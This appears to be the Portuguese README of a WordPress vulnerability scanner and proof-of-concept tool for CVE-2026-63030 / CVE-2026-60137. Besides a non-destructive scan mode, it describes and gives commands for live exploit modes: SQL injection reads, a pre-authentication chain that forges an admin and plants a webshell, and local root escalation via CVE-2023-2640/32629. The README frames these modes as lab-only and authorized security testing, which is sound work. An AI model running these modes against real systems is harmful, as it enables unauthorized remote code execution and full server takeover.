wp2shell-scanner

por @bahartanir (katherinepierce) Fork de ZephrFish/wp2shell-scanner com melhorias adicionais. Pesquisa por Adam Kues (Assetnote) e Mustafa Can İPEKÇİ (nukedx).

Ferramenta de detecção e validação para exposição do núcleo do WordPress ao wp2shell (CVE-2026-63030 / CVE-2026-60137). Os modos são selecionados com uma flag, e o alvo é posicional. --scan captura a impressão digital da versão do núcleo e confirma que a rota REST /batch/v1 está acessível sem enviar um payload de exploit; os modos --check/--read/--shell/--rce/--root-prereq são a PoC de validação para uso autorizado em laboratório.

wp2shell.py é um script único, apenas com bibliotecas padrão — sem dependências externas. Cada execução imprime o banner no stderr antes de executar (permanece fora do stdout, portanto a saída JSON --scan -j não é afetada).

Flags de comando

Exatamente uma flag de modo é obrigatória; o alvo é posicional (uma URL para cada modo, ou uma lista de hosts para --scan).

Sinopse

wp2shell.py (--scan | --check | --read | --shell | --rce | --root-prereq)
            [targets ...] [-f FILE] [-j] [-t THREADS] [--prefix PREFIX]
            [--delay DELAY] [--repeats REPEATS] [--preset PRESET] [--expr EXPR]
            [--max-len MAX_LEN] [--user USER] [--password PASSWORD] [--cmd CMD]
            [-i] [--no-cleanup] [-y] [--sleep SLEEP] [--rounds ROUNDS]
            [--route {auto,rest-route,wp-json}] [--proxy PROXY] [--authorized]
            [--timeout TIMEOUT]

Flags de modo (escolha uma)

Flags de opção

Original deep dive: https://blog.zsec.uk/wp2shell-code-trace-deep-dive/

Template Nuclei

nuclei -t wp2shell-exposure.yaml -u https://target

Varredura (não destrutiva)

Host único, múltiplos hosts ou um arquivo.

python3 wp2shell.py --scan https://target
python3 wp2shell.py --scan host1 host2 host3
python3 wp2shell.py --scan -f hosts.txt

Opções: -f/--file arquivo de hosts (um por linha), -j/--json saída JSON, -t/--threads concorrência (padrão 10).

PoC de Validação

Os modos --check/--read/--shell/--rce/--root-prereq enviam payloads de exploit ao vivo. Execute-os apenas contra o laboratório localhost incluído, ou outros sistemas que você possui e que está explicitamente autorizado a testar. --shell e --rce realizam execução remota de código e são destinados ao laboratório/alvos autorizados; --rce em um host não loopback requer --authorized. --root-prereq usa o mesmo plugin de diagnóstico com token para verificar pré-requisitos shell-to-root, mas não executa uma escalada de privilégio local.

--shell precisa de uma senha de admin recuperada/quebrada. --rce é a cadeia pré-autenticação sem credenciais: forja seu próprio administrador através do SQLi (oEmbed → changeset → parse_request reentrante), então implanta o webshell — nenhuma senha necessária.

--shell, --rce e --root-prereq solicitam autorização interativa y/N antes de qualquer payload de execução de código ser enviado (eles abortam em stdin não interativo/EOF). Passe -y/--yes para pular o prompt para automação contra o laboratório ou um alvo autorizado.

docker compose -f poc/lab/docker-compose.yml up -d
python3 wp2shell.py --check http://127.0.0.1:8080
python3 wp2shell.py --read  http://127.0.0.1:8080 --expr @@version
python3 wp2shell.py --shell http://127.0.0.1:8080 --user admin --password 'Summer2026!' --cmd id
python3 wp2shell.py --shell http://127.0.0.1:8080 --user admin --password 'Summer2026!' -i
python3 wp2shell.py --rce   http://127.0.0.1:8080 --cmd id
python3 wp2shell.py --rce   http://127.0.0.1:8080 -i
python3 wp2shell.py --root-prereq http://127.0.0.1:8080 --user admin --password 'Summer2026!'
python3 wp2shell.py --lpe   http://127.0.0.1:8080

Os diffs de patch usados para fundamentar a PoC estão salvos em poc/diffs/, com notas de pesquisa em poc/RESEARCH.md. O SQLi é totalmente reconstruível a partir da correção author__not_in. A cadeia --rce sem credenciais (oEmbed → changeset → reentrada → criação de admin) reproduz o RCE padrão de fábrica contra o laboratório incluído; --shell é o caminho alternativo via uma credencial de admin recuperada/quebrada para upload de plugin autenticado e execução de comandos.

Escalada de Privilégio Local (--lpe)

--lpe encadeia o RCE completo de pré-autenticação (SQLi → forja de admin → webshell) com uma tentativa automatizada de escalada para root. Ele tenta os seguintes em ordem, parando no primeiro sucesso:

python3 wp2shell.py --lpe http://127.0.0.1:8080
python3 wp2shell.py --lpe http://127.0.0.1:8080 -y          # skip auth prompt
python3 wp2shell.py --lpe https://target --authorized        # non-loopback

--lpe em um alvo não loopback requer --authorized. No laboratório incluído (imagem base Ubuntu 22.04 com kernel GameOverlay vulnerável) CVE-2023-2640/32629 é bem-sucedido sem um compilador.